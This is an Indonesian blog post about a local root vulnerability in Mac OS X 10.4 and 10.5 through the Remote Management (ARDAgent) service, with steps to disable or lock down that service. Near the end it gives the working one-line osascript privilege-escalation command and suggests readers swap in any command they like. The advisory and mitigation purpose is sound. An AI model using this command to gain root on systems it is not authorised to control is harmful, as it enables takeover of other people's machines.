Celah di Local Root dan Remote Management di Mac OS X 10.4 dan 10.5….

tadi pagi iseng main2 kesite echo.or.id, dah lama juga ga main kesite ini..

trus baca, salah satu artikel yg berjudul Celah Local Root di Mac OS X 10.4 dan 10.5, berhubung gw pemakai Macintosh versi Hacknya 😀 heheheh….

Celah ini terdapat pada aplikasi Remote Management di Apple Mac OS X 10.4 dan 10.5, untuk terhindar dari bug ini cukup non aktifkan fitur Remote Management…..

Bagaimana jika kita tetap membutuhkan Aplikasi Remote Management.. solusinya ada di link dibawah ini 😉

http://www.tuaw.com/ardfix/

http://it.slashdot.org/article.pl?no_d2=1&sid=08/06/18/1919224

pada link diatas ada cara mencegahnya, hmmm pasti pada males bukanya kan, ya udah gw tampilin dibawah 😉 :

Leopard: System Prefs, Sharing pane

Buka System Preferences -> Sharing Pane, check list Remote Management untuk mengaktifkan service /aplikasi ini

Make sure no permissions are active

pastikan semua hak akses di non aktifkan, dan check list hak akses yg benar2 dibutuhkan saja.

Extra safety…

masukan list user yg bisa menjalankan fitur Remote Management

Tiger: “Apple Remote Desktop” setting

untuk pengguna Tiger 10.4, cek list Apple Remote Desktop untuk mengaktifkan fitur ini

User permissions all off

uncheck semua hak akses

Done… fitur Remote Management bisa tetep di gunakan, dan tetep safe 😀

Celah di local Root, hanya bisa di eksekusi via Terminal, cara eksekusinya adalah :

user$osascript -e ‘tell app “ARDAgent” to do shell script “whoami” root

command “whoami” bisa di rubah, sesuai dengan kreatifitas masing2 😉

Yups that’s it :D… smoga postingan ini bisa berguna untuk pemakai Macintosh dan Hackintosh 😉

sumber :

http://www.tuaw.com/ardfix/

http://it.slashdot.org/article.pl?no_d2=1&sid=08/06/18/1919224